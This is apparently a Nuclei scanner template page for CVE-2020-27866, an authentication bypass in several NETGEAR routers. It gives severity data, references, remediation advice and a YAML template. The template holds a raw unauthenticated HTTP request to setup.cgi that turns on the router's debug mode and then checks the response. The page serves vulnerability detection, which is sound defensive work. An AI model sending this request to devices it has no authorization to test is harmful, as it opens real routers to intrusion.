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NETGEAR - Authentication Bypass

ID: CVE-2020-27866

Severity: high

Author: gy741

Tags: cve,cve2020,netgear,auth-bypass

Description

Section titled “Description”

NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers are vulnerable to authentication bypass vulnerabilities which could allow network-adjacent attackers to bypass authentication on affected installations.

YAML Source

Section titled “YAML Source”
id: CVE-2020-27866


info:
  name: NETGEAR - Authentication Bypass
  author: gy741
  severity: high
  description: NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers are vulnerable to authentication bypass vulnerabilities which could allow network-adjacent attackers to bypass authentication on affected installations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify network configurations, intercept traffic, or launch further attacks.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to fix the authentication bypass vulnerability.
  reference:
    - https://wzt.ac.cn/2021/01/13/AC2400_vuln/
    - https://www.zerodayinitiative.com/advisories/ZDI-20-1451/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27866
    - https://kb.netgear.com/000062641/Security-Advisory-for-Password-Recovery-Vulnerabilities-on-Some-Routers
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27866
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-27866
    cwe-id: CWE-288,CWE-287
    epss-score: 0.0045
    epss-percentile: 0.75056
    cpe: cpe:2.3:o:netgear:ac2100_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: ac2100_firmware
  tags: cve,cve2020,netgear,auth-bypass


http:
  - raw:
      - |
        GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        Connection: close


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Debug Enable!'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d5c11548979378b71241e02f2a2aa7c47227374fb92c7a55a3c68a25ee510242022048b6a9bf654c2a1576050adf38732c9681bf4ea5a907548d314d4617f92a97f3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-27866.yaml"

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